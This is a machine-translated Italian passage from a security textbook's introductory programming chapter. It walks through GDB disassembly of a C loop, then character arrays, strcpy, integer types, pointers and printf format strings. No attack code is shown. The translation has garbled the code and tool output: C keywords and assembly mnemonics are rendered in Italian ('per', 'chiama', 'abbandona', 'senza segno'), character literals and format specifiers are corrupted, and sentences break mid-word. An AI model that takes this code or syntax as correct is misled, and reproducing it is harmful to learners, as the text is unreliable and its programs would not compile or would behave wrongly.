Questi comandi rivelano che la stringa di dati "Hello, world! \ N" è memorizzata in
indirizzo di memoria 0x8048484 . Questa stringa è l'argomento per il printf () funziona-
zione, che indica che lo spostamento dell'indirizzo di questa stringa all'indirizzo
memorizzato in ESP ( 0x8048484 ) ha qualcosa a che fare con questa funzione. Il seguente
l'output mostra l'indirizzo della stringa di dati che viene spostato nell'indirizzo ESP
puntando a.

(gdb) x / 2i $ eip
0x8048393 <main + 31>: mov DWORD PTR [esp], 0x8048484
0x804839a <main + 38>: chiama 0x80482a0 <printf @ plt>
(gdb) x / xw $ esp
0xbffff800: 0xb8000ce0
(gdb) nexti
0x0804839a 8 printf ("Ciao, mondo! \ n");
(gdb) x / xw $ esp
0xbffff800: 0x08048484
(gdb)

L'istruzione successiva è effettivamente chiamata funzione printf () ; stampa il file


stringa di dati. L'istruzione precedente stava impostando per la chiamata di funzione e
i risultati della chiamata di funzione possono essere visualizzati nell'output sottostante in grassetto.

(gdb) x / i $ eip
0x804839a <main + 38>: chiama 0x80482a0 <printf @ plt>
(gdb) nexti
Ciao mondo!
6 per (i = 0; i <10; i ++)
(gdb)

Continuando a utilizzare GDB per eseguire il debug, esaminiamo le due istruzioni successive.
Ancora una volta, hanno più senso guardarli in gruppo.

(gdb) x / 2i $ eip
0x804839f <main + 43>: lea eax, [ebp-4]
0x80483a2 <main + 46>: incl DWORD PTR [eax]
(gdb)

Queste due istruzioni fondamentalmente incrementano semplicemente la variabile i di 1. Il file


L' istruzione lea è l'acronimo di Load Effective Address , che caricherà il file
Programmazione 35

Pagina 50

indirizzo familiare di EBP meno 4 nel registro EAX. L'esecuzione di questo


le istruzioni sono mostrate di seguito.

(gdb) x / i $ eip
0x804839f <main + 43>: lea eax, [ebp-4]
(gdb) print $ ebp - 4
$ 2 = (void *) 0xbffff804
(gdb) x / x $ 2
0xbffff804: 0x00000000
(gdb) ir eax
eax 0xd 13
(gdb) nexti
0x080483a2 6 per (i = 0; i <10; i ++)
(gdb) ir eax
eax 0xbffff804 -1073743868
(gdb) x / xw $ eax
0xbffff804: 0x00000000
(gdb) x / dw $ eax
0xbffff804: 0
(gdb)

La seguente istruzione inc incrementerà il valore trovato a questo indirizzo


(ora memorizzato nel registro EAX) da 1. Anche l'esecuzione di questa istruzione è
mostrato sotto.

(gdb) x / i $ eip
0x80483a2 <main + 46>: incl DWORD PTR [eax]
(gdb) x / dw $ eax
0xbffff804: 0
(gdb) nexti
0x080483a4 6 per (i = 0; i <10; i ++)
(gdb) x / dw $ eax
0xbffff804: 1
(gdb)

Il risultato finale è il valore memorizzato nell'indirizzo di memoria EBP meno 4


( 0xbffff804 ), incrementato di 1. Questo comportamento corrisponde a una parte di C
codice in cui la variabile i viene incrementata nel ciclo for.
L'istruzione successiva è un'istruzione di salto incondizionato.

(gdb) x / i $ eip
0x80483a4 <main + 48>: jmp 0x804838b <main + 23>
(gdb)

Quando questa istruzione viene eseguita, rimanderà il programma al file


istruzione all'indirizzo 0x804838b . Lo fa semplicemente impostando EIP su quel valore.
Guardando di nuovo lo smontaggio completo, dovresti essere in grado di dire quale
parti del codice C sono state compilate in quali istruzioni macchina.

36 0x200

Pagina 51

(gdb) disass main


Dump del codice assembler per la funzione main:
0x08048374 <main + 0>: push ebp
0x08048375 <principale + 1>: mov ebp, esp
0x08048377 <principale + 3>: sub esp, 0x8
0x0804837a <main + 6>: ed esp, 0xfffffff0
0x0804837d <main + 9>: mov eax, 0x0
0x08048382 <main + 14>: sub esp, eax
0x08048384 <main + 16>: mov DWORD PTR [ebp-4], 0x0
0x0804838b <main + 23>: cmp DWORD PTR [ebp-4], 0x9
0x0804838f <main + 27>: jle 0x8048393 <main + 31>
0x08048391 <main + 29>: jmp 0x80483a6 <main + 50>
0x08048393 <main + 31>: mov DWORD PTR [esp], 0x8048484
0x0804839a <main + 38>: chiama 0x80482a0 <printf @ plt>
0x0804839f <main + 43>: lea eax, [ebp-4]
0x080483a2 <main + 46>: incl DWORD PTR [eax]
0x080483a4 <main + 48>: jmp 0x804838b <main + 23>
0x080483a6 <main + 50>: abbandona
0x080483a7 <principale + 51>: ret
Fine del dump dell'assemblatore.
(gdb) elenco
1 #include <stdio.h>
2
3 int main ()
4{
5 int i;
6 per (i = 0; i <10; i ++)
7 {
8 printf ("Ciao, mondo! \ n");
9 }
10}
(gdb)

Le istruzioni mostrate in grassetto costituiscono il ciclo for e le istruzioni


le zioni in corsivo sono la chiamata printf () che si trova all'interno del ciclo. Il programma viene eseguito
cution tornerà all'istruzione di confronto, continuerà ad eseguire il
printf ()chiama e incrementa la variabile counter fino a quando non è uguale a 10. At
a questo punto l' istruzione jle condizionale non verrà eseguita; invece, l'istrut-
Il puntatore a zione continuerà fino all'istruzione di salto incondizionato, che termina
il ciclo e termina il programma.

0x260 Ritorno alle origini


Ora che l'idea di programmazione è meno astratta, ce ne sono alcune altre
concetti importanti da sapere su C. linguaggio assembly e computer
processori esistevano prima dei linguaggi di programmazione di livello superiore e molti
i concetti di programmazione moderna si sono evoluti nel tempo. Nello stesso modo
che conoscere un po 'di latino può migliorare notevolmente la propria comprensione

Programmazione 37

Pagina 52

la lingua inglese, la conoscenza dei concetti di programmazione di basso livello può


aiutare la comprensione di quelli di livello superiore. Quando si passa al successivo
ricorda che il codice C deve essere compilato nelle istruzioni della macchina
prima che possa fare qualsiasi cosa.

0x261 stringhe
Il valore "Hello, world! \ N" passato alla funzione printf () nel precedente
il programma è una stringa, tecnicamente un array di caratteri. In C, un array è semplicemente un file
elenco di n elementi di un tipo di dati specifico. Un array di 20 caratteri è semplicemente 20
caratteri adiacenti situati in memoria. Gli array vengono anche chiamati buffer .
Il programma char_array.c è un esempio di array di caratteri.

char_array.c

#include <stdio.h>
int main ()
{
char str_a [20];
str_a [0] = "H";
str_a [1] = "e";
str_a [2] = 'l';
str_a [3] = 'l';
str_a [4] = 'o';
str_a [5] = ',';
str_a [6] = '';
str_a [7] = 'w';
str_a [8] = 'o';
str_a [9] = 'r';
str_a [10] = 'l';
str_a [11] = 'd';
str_a [12] = '!';
str_a [13] = '\ n';
str_a [14] = 0;
printf (str_a);
}

Al compilatore GCC può anche essere data l' opzione -o per definire l'output
file in cui compilare. Questa opzione viene utilizzata di seguito per compilare il programma in un file
binario eseguibile chiamato char_array .

reader @ hacking: ~ / booksrc $ gcc -o char_array char_array.c


lettore @ hacking: ~ / booksrc $ ./char_array
Ciao mondo!
lettore @ hacking: ~ / booksrc $

Nel programma precedente, una matrice di caratteri di 20 elementi è definita come


str_a ,
e ogni elemento dell'array viene scritto, uno per uno. Si noti che il file
il numero inizia da 0, invece di 1. Notare inoltre che l'ultimo carattere è uno 0.
(Questo è anche chiamato un byte nullo .) L'array di caratteri è stato definito, quindi 20 byte
vengono allocati per esso, ma solo 12 di questi byte vengono effettivamente utilizzati. Il byte nullo

38 0x200

Pagina 53

alla fine viene utilizzato come carattere delimitatore per indicare qualsiasi funzione che sta trattando
con la stringa per interrompere le operazioni proprio lì. I byte aggiuntivi rimanenti sono
solo spazzatura e verrà ignorato. Se viene inserito un byte nullo nel quinto elemento
dell'array di caratteri, solo i caratteri Hello verrebbero stampati dal
.
funzione printf ()
Dal momento che impostare ogni personaggio in un array di caratteri è meticoloso e
le stringhe vengono utilizzate abbastanza spesso, è stato creato un insieme di funzioni standard per le stringhe
manipolazione. Ad esempio, la funzione strcpy () copierà una stringa da un file
source a una destinazione, iterando attraverso la stringa di origine e copiando ciascuna
byte alla destinazione (e fermandosi dopo aver copiato il byte di terminazione nullo).
L'ordine degli argomenti della funzione è simile alla sintassi dell'assembly Intel:
destinazione prima e poi origine. Il programma char_array.c può essere riscritto
usando strcpy () per ottenere la stessa cosa usando la libreria di stringhe. Il
la prossima versione del programma char_array mostrato di seguito include string.h da allora
utilizza una funzione stringa.
char_array2.c

#include <stdio.h>
#include <string.h>

int main () {
char str_a [20];

strcpy (str_a, "Ciao mondo! \ n");


printf (str_a);
}

Diamo un'occhiata a questo programma con GDB. Nell'output di seguito, il file


il programma compilato viene aperto con GDB e i punti di interruzione vengono impostati prima, in e
dopo la chiamata strcpy () mostrata in grassetto. Il debugger metterà in pausa il programma in
ogni punto di interruzione, dandoci la possibilità di esaminare i registri e la memoria. Il
Il codice della funzione strcpy () proviene da una libreria condivisa, quindi il punto di interruzione in questo file
la funzione non può essere effettivamente impostata finché il programma non viene eseguito.

reader @ hacking: ~ / booksrc $ gcc -g -o char_array2 char_array2.c


lettore @ hacking: ~ / booksrc $ gdb -q ./char_array2
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) elenco
1 #include <stdio.h>
2 #include <string.h>
3
4 int main () {
5 char str_a [20];
6
7 strcpy (str_a, "Ciao mondo! \ n");
8 printf (str_a);
9}
(gdb) break 6
Breakpoint 1 in 0x80483c4: file char_array2.c, riga 6.
(gdb) break strcpy

Programmazione 39

Pagina 54

Funzione "strcpy" non definita.


Rendere il punto di interruzione in sospeso sul futuro caricamento della libreria condivisa? (y o [n]) y
Breakpoint 2 (strcpy) in sospeso.
(gdb) break 8
Punto di interruzione 3 in 0x80483d7: file char_array2.c, riga 8.
(gdb)

Quando il programma viene eseguito, il punto di interruzione strcpy () viene risolto. A ciascuno
punto di interruzione, esamineremo EIP e le istruzioni a cui punta. Avviso
che la posizione di memoria per EIP nel punto di interruzione centrale è diversa.

(gdb) esegui
Avvio del programma: / home / reader / booksrc / char_array2
Breakpoint 4 a 0xb7f076f4
In attesa del punto di interruzione "strcpy" risolto

Breakpoint 1, main () in char_array2.c: 7


7 strcpy (str_a, "Ciao mondo! \ n");
(gdb) ir eip
eip 0x80483c4 0x80483c4 <principale + 16>
(gdb) x / 5i $ eip
0x80483c4 <main + 16>: mov DWORD PTR [esp + 4], 0x80484c4
0x80483cc <main + 24>: lea eax, [ebp-40]
0x80483cf <main + 27>: mov DWORD PTR [esp], eax
0x80483d2 <main + 30>: chiama 0x80482c4 <strcpy @ plt>
0x80483d7 <main + 35>: lea eax, [ebp-40]
(gdb) continua
Continuando.

Breakpoint 4, 0xb7f076f4 in strcpy () da /lib/tls/i686/cmov/libc.so.6


(gdb) ir eip
eip 0xb7f076f4 0xb7f076f4 <strcpy + 4>
(gdb) x / 5i $ eip
0xb7f076f4 <strcpy + 4>: mov esi, DWORD PTR [ebp + 8]
0xb7f076f7 <strcpy + 7>: mov eax, DWORD PTR [ebp + 12]
0xb7f076fa <strcpy + 10>: mov ecx, esi
0xb7f076fc <strcpy + 12>: sub ecx, eax
0xb7f076fe <strcpy + 14>: mov edx, eax
(gdb) continua
Continuando.

Breakpoint 3, main () in char_array2.c: 8


8 printf (str_a);
(gdb) ir eip
eip 0x80483d7 0x80483d7 <principale + 35>
(gdb) x / 5i $ eip
0x80483d7 <main + 35>: lea eax, [ebp-40]
0x80483da <main + 38>: mov DWORD PTR [esp], eax
0x80483dd <main + 41>: chiama 0x80482d4 <printf @ plt>
0x80483e2 <main + 46>: abbandona
0x80483e3 <principale + 47>: ret
(gdb)

40 0x200

Pagina 55
L'indirizzo in EIP al punto di interruzione centrale è diverso perché il file
il codice per la funzione strcpy () proviene da una libreria caricata. In effetti, il file
il debugger mostra EIP per il punto di interruzione centrale nella funzione strcpy () ,
mentre EIP agli altri due breakpoint è nella funzione main () . mi piacerebbe
sottolineare che PEI è in grado di viaggiare dal codice principale al strcpy) ( codice
e di nuovo indietro. Ogni volta che viene chiamata una funzione, viene mantenuto un record su un dato
struttura chiamata semplicemente stack. Lo stack consente a EIP di tornare a lungo
catene di chiamate di funzioni. In GDB, il comando bt può essere utilizzato per risalire al file
pila. Nell'output di seguito, il backtrace dello stack viene mostrato in ogni punto di interruzione.

(gdb) esegui
Il programma in fase di debug è già stato avviato.
Iniziarlo dall'inizio? (y o n) y
Avvio del programma: / home / reader / booksrc / char_array2
Errore nel ripristino del punto di interruzione 4:
Funzione "strcpy" non definita.

Breakpoint 1, main () in char_array2.c: 7


7 strcpy (str_a, "Ciao mondo! \ n");
(gdb) bt
# 0 main () su char_array2.c: 7
(gdb) cont
Continuando.

Breakpoint 4, 0xb7f076f4 in strcpy () da /lib/tls/i686/cmov/libc.so.6


(gdb) bt
# 0 0xb7f076f4 in strcpy () da /lib/tls/i686/cmov/libc.so.6
# 1 0x080483d7 in main () su char_array2.c: 7
(gdb) cont
Continuando.

Breakpoint 3, main () in char_array2.c: 8


8 printf (str_a);
(gdb) bt
# 0 main () su char_array2.c: 8
(gdb)

Al breakpoint centrale, il backtrace dello stack mostra il suo record di


la chiamata strcpy () . Inoltre, potresti notare che la funzione strcpy () è leggermente a
indirizzo diverso durante la seconda manche. Ciò è dovuto a una protezione dagli exploit
metodo che è attivato di default nel kernel Linux dal 2.6.11. Noi
parlare di questa protezione in modo più dettagliato in seguito.

0x262 Signed, Unsigned, Long e Short


Per impostazione predefinita, i valori numerici in C sono firmati, il che significa che possono essere entrambi
negativo e positivo. Al contrario, i valori senza segno non consentono numeri negativi
bers. Poiché alla fine è solo memoria, tutti i valori numerici devono essere memorizzati
in binario e i valori senza segno hanno più senso in binario. Un file a 32 bit
L'intero senza segno può contenere valori da 0 (tutti 0 binari) a 4.294.967.295
(tutti binari 1). Un intero con segno a 32 bit è ancora solo 32 bit, il che significa che può

Programmazione 41

Pagina 56

essere solo in una delle 2 32 possibili combinazioni di bit. Ciò consente il segno a 32 bit
numeri interi da Г2.147.483.648 a 2.147.483.647. Essenzialmente, uno dei
il bit è un flag che segna il valore positivo o negativo. Valori con segno positivo
hanno lo stesso aspetto dei valori senza segno, ma i numeri negativi vengono memorizzati in modo diverso
utilizzando un metodo chiamato complemento a due. Il complemento di due rappresenta neg-
numeri attivi in ​una forma adatta per sommatori binari, quando un valore negativo in
il complemento a due viene aggiunto a un numero positivo della stessa grandezza, il
il risultato sarà 0. Questo viene fatto scrivendo prima il numero positivo in binario, quindi
invertendo tutti i bit e infine aggiungendo 1. Sembra strano, ma funziona e
consente di aggiungere numeri negativi in ​combinazione con numeri positivi
utilizzando semplici sommatori binari.
Questo può essere esplorato rapidamente su scala ridotta utilizzando pcalc , un semplice file
calcolatrice del programmatore che visualizza i risultati in formato decimale, esadecimale e
formati binari. Per semplicità, in questo esempio vengono utilizzati numeri a 8 bit.

lettore @ hacking: ~ / booksrc $ pcalc 0y01001001


73 0x49 0y1001001
lettore @ hacking: ~ / booksrc $ pcalc 0y10110110 + 1
183 0xb7 0y10110111
reader @ hacking: ~ / booksrc $ pcalc 0y01001001 + 0y10110111
256 0x100 0y100000000
lettore @ hacking: ~ / booksrc $

In primo luogo, il valore binario 01001001 è positivo 73. Quindi tutti i file
i bit vengono capovolti e 1 viene aggiunto per ottenere il complemento a due
zione per 73 negativo, 10110111. Quando questi due valori vengono sommati,
il risultato degli 8 bit originali è 0. Il programma pcalc mostra il valore 256
perché non sa che abbiamo a che fare solo con valori a 8 bit. In un binario
sommatore, quel pezzo di trasporto verrebbe semplicemente gettato via perché la fine del
la memoria di abile sarebbe stata raggiunta. Questo esempio potrebbe farne a meno
luce su come il complemento a due funziona la sua magia.
In C, le variabili possono essere dichiarate come senza segno semplicemente anteponendo il
parola chiave non firmata per la dichiarazione. Verrà dichiarato un numero intero senza segno
con int senza segno . Inoltre, la dimensione delle variabili numeriche può essere estesa
o abbreviato aggiungendo le parole chiave long o short . Le dimensioni effettive varieranno
a seconda dell'architettura per la quale viene compilato il codice. Il linguaggio di C
fornisce una macro chiamata sizeof () che può determinare la dimensione di alcuni dati
tipi. Funziona come una funzione che accetta un tipo di dati come input e restituisce
la dimensione di una variabile dichiarata con quel tipo di dati per l'architettura di destinazione.
Il programma datatype_sizes.c esplora le dimensioni di vari tipi di dati, utilizzando
la funzione sizeof () .

datatype_sizes.c

#include <stdio.h>

int main () {
printf ("Il tipo di dati 'int' è \ t \ t% d byte \ n", sizeof (int));

42 0x200
Pagina 57

printf ("Il tipo di dati 'unsigned int' è \ t% d byte \ n", sizeof (unsigned int));
printf ("Il tipo di dati 'short int' è \ t% d byte \ n", sizeof (short int));
printf ("Il tipo di dati 'long int' è \ t% d byte \ n", sizeof (long int));
printf ("Il tipo di dati 'long long int' è% d byte \ n", sizeof (long long int));
printf ("Il tipo di dati 'float' è \ t% d byte \ n", sizeof (float));
printf ("Il tipo di dati" char "è \ t \ t% d byte \ n", sizeof (char));
}

Questa parte di codice utilizza la funzione printf () in un modo leggermente diverso.


Utilizza qualcosa chiamato identificatore di formato per visualizzare il valore restituito
la funzione sizeof () chiama. Gli specificatori di formato verranno spiegati in dettaglio più avanti,
quindi per ora concentriamoci sull'output del programma.

reader @ hacking: ~ / booksrc $ gcc datatype_sizes.c


lettore @ hacking: ~ / booksrc $ ./a.out
Il tipo di dati "int" è 4 byte
Il tipo di dati "unsigned int" è di 4 byte
Il tipo di dati "short int" è di 2 byte
Il tipo di dati "long int" è di 4 byte
Il tipo di dati "long long int" è di 8 byte
Il tipo di dati "float" è 4 byte
Il tipo di dati "char" è 1 byte
lettore @ hacking: ~ / booksrc $

Come affermato in precedenza, sia gli interi con segno che quelli senza segno sono quattro byte in formato
dimensione sull'architettura x 86. Un float è anche di quattro byte, mentre un char ha solo bisogno
un singolo byte. Le parole chiave lunghe e brevi possono essere utilizzate anche con virgola mobile
variabili per estendere e accorciare le loro dimensioni.

Puntatori 0x263
Il registro EIP è un puntatore che "punta" all'istruzione corrente durante a
l'esecuzione del programma contenendo il suo indirizzo di memoria. L'idea dei puntatori
è usato anche in C. Poiché la memoria fisica non può essere effettivamente spostata, il file
le informazioni in esso contenute devono essere copiate. Può essere molto costoso dal punto di vista computazionale
copiare grossi blocchi di memoria per essere utilizzati da funzioni diverse o in
posti ent. Questo è anche costoso dal punto di vista della memoria, poiché lo spazio per
la nuova copia di destinazione deve essere salvata o allocata prima di poterla salvare
copiato. I puntatori sono una soluzione a questo problema. Invece di copiare un file
blocco di memoria, è molto più semplice passare l'indirizzo dell'inizio
ning di quel blocco di memoria.
I puntatori in C possono essere definiti e utilizzati come qualsiasi altro tipo di variabile.
Poiché la memoria sull'architettura x 86 utilizza l'indirizzamento a 32 bit, i puntatori lo sono
anche 32 bit di dimensione (4 byte). I puntatori sono definiti anteponendo un asterisco ( * )
al nome della variabile. Invece di definire una variabile di quel tipo, un puntatore è
definito come qualcosa che punta a dati di quel tipo. Il programma pointer.c
è un esempio di un puntatore utilizzato con il tipo di dati char , che è solo
1 byte di dimensione.

Programmazione 43

Pagina 58

pointer.c

#include <stdio.h>
#include <string.h>

int main () {
char str_a [20]; // Una matrice di caratteri di 20 elementi
char * pointer; // Un puntatore, pensato per un array di caratteri
char * pointer2; // E ancora un altro

strcpy (str_a, "Ciao mondo! \ n");


puntatore = str_a; // Imposta il primo puntatore all'inizio della matrice.
printf (puntatore);

pointer2 = pointer + 2; // Imposta il secondo 2 byte più avanti.


printf (pointer2); // Stampalo.
strcpy (pointer2, "e voi ragazzi! \ n"); // Copia in quel punto.
printf (puntatore); // Stampa di nuovo.
}

Come indicano i commenti nel codice, il primo puntatore è impostato all'inizio


ning della matrice di caratteri. Quando si fa riferimento alla matrice di caratteri in questo modo,
in realtà è un puntatore stesso. Questo è il modo in cui questo buffer è stato passato come puntatore a
le funzioni printf () e strcpy () in precedenza. Il secondo puntatore è impostato su
l'indirizzo del primo puntatore più due, quindi vengono stampate alcune cose (mostrate in
l'uscita di seguito).

reader @ hacking: ~ / booksrc $ gcc -o pointer pointer.c


lettore @ hacking: ~ / booksrc $ ./pointer
Ciao mondo!
llo, mondo!
Ehi ragazzi!
lettore @ hacking: ~ / booksrc $

Diamo un'occhiata a questo con GDB. Il programma viene ricompilato e un file


il punto di interruzione è impostato sulla decima riga del codice sorgente. Questo fermerà il file
programma dopo che la stringa "Hello, world! \ n" è stata copiata in str_a
buffer e la variabile pointer viene impostata all'inizio di esso.

reader @ hacking: ~ / booksrc $ gcc -g -o pointer pointer.c


lettore @ hacking: ~ / booksrc $ gdb -q ./pointer
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) elenco
1 #include <stdio.h>
2 #include <string.h>
3
4 int main () {
5 char str_a [20]; // Una matrice di caratteri di 20 elementi
6 char * pointer; // Un puntatore, pensato per un array di caratteri

44 0x200

Pagina 59

7 char * pointer2; // E ancora un altro


8
9 strcpy (str_a, "Ciao mondo! \ n");
10 puntatore = str_a; // Imposta il primo puntatore all'inizio della matrice.
(gdb)
11 printf (puntatore);
12
13 pointer2 = pointer + 2; // Imposta il secondo 2 byte più avanti.
14 printf (pointer2); // Stampalo.
15 strcpy (pointer2, "e voi ragazzi! \ n"); // Copia in quel punto.
16 printf (puntatore); // Stampa di nuovo.
17}
(gdb) pausa 11
Breakpoint 1 in 0x80483dd: file pointer.c, riga 11.
(gdb) esegui
Avvio del programma: / home / reader / booksrc / pointer

Breakpoint 1, main () al pointer.c: 11


11 printf (puntatore);
(gdb) x / xw puntatore
0xbffff7e0: 0x6c6c6548
(gdb) puntatore x / s
0xbffff7e0: "Ciao mondo! \ N"
(gdb)

Quando il puntatore viene esaminato come una stringa, è evidente che il dato
stringa è presente e si trova all'indirizzo di memoria 0xbffff7e0 . Ricordati che
la stringa stessa non è memorizzata nella variabile pointer, solo l'indirizzo di memoria
0xbffff7e0è memorizzato lì.
Per vedere i dati effettivi memorizzati nella variabile pointer, è necessario
utilizzare l'indirizzo dell'operatore. L'operatore address-of è un operatore unario ,
il che significa semplicemente che opera su un singolo argomento. Questo operatore è giusto
una e commerciale ( & ) anteposta al nome di una variabile. Quando viene utilizzato, l'indirizzo
di quella variabile viene restituito, invece della variabile stessa. Questo operatore esiste
sia in GDB che nel linguaggio di programmazione C.

(gdb) x / xw e puntatore
0xbffff7dc: 0xbffff7e0
(gdb) stampa e puntatore
$ 1 = (char **) 0xbffff7dc
(gdb) puntatore di stampa
$ 2 = 0xbffff7e0 "Ciao mondo! \ N"
(gdb)

Quando viene utilizzato l'operatore address-of, viene mostrata la variabile pointer


si trova all'indirizzo 0xbffff7dc in memoria e contiene l'indirizzo
0xbffff7e0.
L'operatore address-of è spesso usato insieme ai puntatori, poiché
i puntatori contengono indirizzi di memoria. Il programma addressof.c lo dimostra
l'operatore address-of utilizzato per inserire l'indirizzo di una variabile intera
in un puntatore. Questa linea è mostrata in grassetto sotto.

Programmazione 45

Pagina 60

addressof.c

#include <stdio.h>

int main () {
int int_var = 5;
int * int_ptr;

int_ptr = & int_var; // inserisce l'indirizzo di int_var in int_ptr


}

Il programma stesso in realtà non produce nulla, ma probabilmente puoi


indovina cosa succede, anche prima del debug con GDB.

reader @ hacking: ~ / booksrc $ gcc -g addressof.c


lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) elenco
1 #include <stdio.h>
2
3 int main () {
4 int int_var = 5;
5 int * int_ptr;
6
7 int_ptr = & int_var; // Inserisce l'indirizzo di int_var in int_ptr.
8}
(gdb) break 8
Breakpoint 1 in 0x8048361: file addressof.c, riga 8.
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out

Breakpoint 1, main () all'indirizzo di.c: 8


8}
(gdb) print int_var
$1=5
(gdb) print & int_var
$ 2 = (int *) 0xbffff804
(gdb) print int_ptr
$ 3 = (int *) 0xbffff804
(gdb) print & int_ptr
$ 4 = (int **) 0xbffff800
(gdb)

Come al solito, viene impostato un punto di interruzione e il programma viene eseguito nel file
debugger. A questo punto la maggior parte del programma è stata eseguita. Il primo
Il comando print mostra il valore di int_var e il secondo mostra il suo indirizzo
utilizzando l'indirizzo dell'operatore. I prossimi due comandi di stampa lo mostrano
int_ptr contiene l'indirizzo di int_var e mostrano anche l'indirizzo di
l'INT_PTR per buona misura.

46 0x200

Pagina 61

Esiste per l'uso un operatore unario aggiuntivo chiamato operatore di dereferenziazione


con i puntatori. Questo operatore restituirà i dati trovati nell'indirizzo il
il puntatore punta a, invece che all'indirizzo stesso. Ha la forma di un file
asterisco davanti al nome della variabile, simile alla dichiarazione di un puntatore.
Ancora una volta, l'operatore di dereferenziazione esiste sia in GDB che in C. Utilizzato in
GDB, può recuperare il valore intero a cui punta int_ptr .

(gdb) print * int_ptr


$5=5

Alcune aggiunte al codice addressof.c (mostrato in addressof2.c) lo faranno


dimostrare tutti questi concetti. Le funzioni printf () aggiunte usano format
parametri, che spiegherò nella prossima sezione. Per ora, concentrati solo sul
l'output del programma.

addressof2.c

#include <stdio.h>

int main () {
int int_var = 5;
int * int_ptr;

int_ptr = & int_var; // Inserisce l'indirizzo di int_var in int_ptr.

printf ("int_ptr = 0x% 08x \ n", int_ptr);


printf ("& int_ptr = 0x% 08x \ n", & int_ptr);
printf ("* int_ptr = 0x% 08x \ n \ n", * int_ptr);

printf ("int_var si trova a 0x% 08x e contiene% d \ n", & int_var, int_var);
printf ("int_ptr si trova a 0x% 08x, contiene 0x% 08x e punta a% d \ n \ n",
& int_ptr, int_ptr, * int_ptr);
}

I risultati della compilazione e dell'esecuzione di addressof2.c sono i seguenti.

reader @ hacking: ~ / booksrc $ gcc addressof2.c


lettore @ hacking: ~ / booksrc $ ./a.out
int_ptr = 0xbffff834
& int_ptr = 0xbffff830
* int_ptr = 0x00000005

int_var si trova in 0xbffff834 e contiene 5


int_ptr si trova in 0xbffff830, contiene 0xbffff834 e punta a 5

lettore @ hacking: ~ / booksrc $

Quando gli operatori unari vengono utilizzati con i puntatori, l'indirizzo di oper-
ator può essere pensato come un movimento all'indietro, mentre l'operatore di dereferenziazione
si sposta in avanti nella direzione in cui punta il puntatore.

Programmazione 47

Pagina 62

Stringhe di formato 0x264


La funzione printf () può essere utilizzata per stampare più di semplici stringhe fisse. Questo
può anche usare stringhe di formato per stampare variabili in molti formati differenti
stuoie. Una stringa di formato è solo una stringa di caratteri con speciali sequenze di escape
che dicono alla funzione di inserire variabili stampate in un formato specifico sul posto
della sequenza di escape. Il modo in cui la funzione printf () è stata utilizzata in
programmi precedenti, la stringa "Hello, world! \ n" tecnicamente è la stringa di formato;
tuttavia, è privo di sequenze di escape speciali. Queste sequenze di fuga sono
chiamati anche parametri di formato , e per ognuno trovato nella stringa di formato, il file
la funzione dovrebbe prendere un argomento aggiuntivo. Ogni parametro di formato
inizia con un segno di percentuale ( % ) e utilizza una scorciatoia di un carattere molto
simile ai caratteri di formattazione usati dal comando e x amine di GDB .

Tipo di output dei parametri

%d Decimale

%u Decimale senza segno

%X Esadecimale

Tutti i parametri di formato precedenti ricevono i propri dati come valori,


non puntatori a valori. Ci sono anche alcuni parametri di formato che si aspettano
puntatori, come i seguenti.

Tipo di output dei parametri

%S Corda

%n Numero di byte scritti finora

Il parametro di formato % s si aspetta di ricevere un indirizzo di memoria; stampa


i dati in quell'indirizzo di memoria fino a quando non viene rilevato un byte nullo. Il % n
Il parametro di formato è unico in quanto scrive effettivamente i dati. Si aspetta anche di esserlo
dato un indirizzo di memoria e scrive il numero di byte che sono stati
scritto finora in quell'indirizzo di memoria.
Per ora, il nostro focus saranno solo i parametri di formato utilizzati per la visualizzazione
dati. Il programma fmt_strings.c mostra alcuni esempi di diverso formato
parametri.

fmt_strings.c

#include <stdio.h>

int main () {
stringa di caratteri [10];
int A = -73;
int B = 31337 senza segno;

strcpy (stringa, "campione");

48 0x200

Pagina 63

// Esempio di stampa con una stringa di formato diversa


printf ("[A] Dec:% d, Hex:% x, Unsigned:% u \ n", A, A, A);
printf ("[B] Dec:% d, Hex:% x, Unsigned:% u \ n", B, B, B);
printf ("[larghezza campo su B] 3: '% 3u', 10: '% 10u', '% 08u' \ n", B, B, B);
printf ("[stringa]% s Indirizzo% 08x \ n", stringa, stringa);

// Esempio di operatore indirizzo unario (dereferenziazione) e una stringa di formato% x


printf ("la variabile A è all'indirizzo:% 08x \ n", & A);
}

Nel codice precedente, a ciascuno vengono passati argomenti variabili aggiuntivi


chiama per ogni parametro di formato nella stringa di formato. Il printf finale ()
printf ()
chiamata utilizza l'argomento & A , che fornirà l'indirizzo della variabile A .
La compilazione e l'esecuzione del programma sono le seguenti.

reader @ hacking: ~ / booksrc $ gcc -o fmt_strings fmt_strings.c


lettore @ hacking: ~ / booksrc $ ./fmt_strings
[A] Dic: -73, Hex: ffffffb7, Senza segno: 4294967223
[B] Dic: 31337, Hex: 7a69, Senza segno: 31337
[larghezza campo su B] 3: "31337", 10: "31337", "00031337"
[stringa] indirizzo di esempio bffff870
la variabile A è all'indirizzo: bffff86c
lettore @ hacking: ~ / booksrc $

Le prime due chiamate a printf () dimostrano la stampa delle variabili A e B ,


utilizzando diversi parametri di formato. Poiché ci sono tre parametri di formato
in ogni riga, le variabili A e B devono essere fornite tre volte ciascuna. Il
Il parametro di formato % d consente valori negativi, mentre % u no, poiché lo è
aspettandosi valori senza segno.
Quando la variabile A viene stampata utilizzando il parametro di formato % u , viene visualizzata
come un valore molto alto. Questo perché A è un numero negativo memorizzato in due
complemento e il parametro format sta cercando di stamparlo come se fosse un file
valore senza segno. Poiché il complemento a due capovolge tutti i bit e ne aggiunge uno, il
bit molto alti che prima erano zero ora sono uno.
La terza riga nell'esempio, etichettata [larghezza del campo su B] , mostra l'uso
dell'opzione field-width in un parametro di formato. Questo è solo un numero intero
indica la larghezza minima del campo per quel parametro di formato. Però,
questa non è una larghezza massima del campo, se il valore da emettere è maggiore
rispetto alla larghezza del campo, la larghezza del campo verrà superata. Questo accade quando 3 è
utilizzato, poiché i dati di output richiedono 5 byte. Quando si utilizza 10 come larghezza del campo,
5 byte di spazio vuoto vengono emessi prima dei dati di output. Inoltre, se un file
il valore della larghezza del campo inizia con 0, questo significa che il campo deve essere riempito con
zeri. Quando viene utilizzato 08, ad esempio, l'output è 00031337.
